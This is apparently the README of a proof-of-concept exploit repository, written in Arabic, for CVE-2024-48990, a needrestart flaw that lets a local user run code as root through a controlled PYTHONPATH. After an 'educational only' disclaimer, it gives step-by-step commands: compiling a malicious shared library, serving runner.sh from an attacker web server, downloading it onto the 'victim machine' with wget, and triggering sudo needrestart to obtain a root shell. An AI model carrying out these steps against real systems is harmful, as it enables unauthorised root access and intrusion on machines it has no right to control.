CVE-2024-48990

[!WARNING] هذه الملفات والمعلومات مخصّصة للأغراض التعليمية فقط. المؤلف غير مسؤول عن أي سلوك خبيث. جميع المعلومات المقدّمة لا تهدف إلى التحريض على أي نوع من الجرائم أو الانتهاكات.

الوصف

اكتشفت Qualys أن needrestart، قبل الإصدار 3.8، يسمح للمهاجمين المحليين بتنفيذ كود تعسفي بصلاحيات الجذر عن طريق خداع needrestart لتشغيل مفسّر بايثون مع متغير بيئة PYTHONPATH يتحكم فيه المهاجم. راجع NIST للحصول على التفاصيل الرسمية.

إثبات المفهوم

1. قم بتنزيل المستودع من git

git clone https://github.com/grecosamuel/CVE-2024-48990.git

2. قم بتجميع مكتبة exploit.c لإنشاء مكتبة ELF صالحة وسمّها __init__.so

gcc -shared -fPIC -o __init__.so exploit.c

3. قم بتغيير <IP> و <PORT> في runner.sh، السطر 7 والسطر 10، إلى عنوان IP والمنفذ الخاصين بخادم الويب الخاص بك.
4. قم بتشغيل خادم الويب

python3 -m http.server

5. قم بتنزيل runner على جهاز الضحية

wget http://IP:PORT/runner.sh

6. قم بمنح صلاحية التنفيذ لـ runner

chmod +x runner.sh

7. قم بتشغيل السكربت

./runner.sh

8. قم بتشغيل needrestart بصلاحية sudo

sudo needrestart

عند ظهور [*] CVE module created اضغط CTRL+C لإيقاف العملية واحصل على الشل!